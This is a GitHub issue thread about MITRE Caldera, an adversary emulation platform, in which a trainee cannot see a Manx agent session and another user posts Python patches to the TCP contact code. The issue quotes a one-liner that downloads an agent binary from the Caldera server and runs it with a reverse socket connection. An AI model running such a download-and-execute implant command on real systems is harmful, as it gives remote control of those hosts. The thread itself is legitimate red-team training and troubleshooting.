mitre / caldera

Automated Adversary Emulation Platform
https://caldera.mitre.org
Apache License 2.0
5.67k stars 1.08k forks source link

Unable to see Manx session #3072

Open gowthamnesamani opened 1 month ago

gowthamnesamani commented 1 month ago

Hi,

When I was doing the user training in caldera, I faced issue while trying the manx related flag.

After pasting the manx sh tcp command in the calder server, I can see the agent entry under agents tab but unable to see the host under session also getting error "Error refreshing Manx"

Manx Command: server="http://127.0.0.1:8888";socket="127.0.0.1:7010";contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > super_scary;chmod +x super_scary;./super_scary -http $server -socket $socket -contact $contact -v

caldera 2 caldera 3 caldera1

github-actions[bot] commented 1 month ago

Looks like your first issue -- we aim to respond to issues as quickly as possible. In the meantime, check out our documentation here: http://caldera.readthedocs.io/

gowthamnesamani commented 1 month ago

Nothing found related to my issue here: "http://caldera.readthedocs.io/"

gowthamnesamani commented 1 month ago

Hello, any update ?

corradoproietti commented 2 weeks ago

I just found a workaround to let caldera correctly compile the executable adding env['GOCACHE'] = "/tmp" _<path_to_caldera/app/service/filesvc.py> starting from line 153 (probably not related with the issue itself but solved some compilation warnings):

        env = copy.copy(os.environ)
        env['GOARCH'] = arch
        env['GOOS'] = platform
        env['GOCACHE'] = "/tmp"
        if cflags:
            for cflag in cflags.split(' '):
                name, value = cflag.split('=')

After that just add/edit the following lines on _<path_to_caldera/app/contacts/contacttcp.py> because the send() method was incorrectly called on TransportSocket rather than in the underlying Socket:

  1. From line 88:
            conn = next(i.connection for i in self.sessions if i.id == int(session_id))
            conn = conn._sock
            conn.send(str.encode(' '))
  1. From line 62:
            try:
                session.connection._sock.send(str.encode(' '))
            except socket.error:

Hope this helps.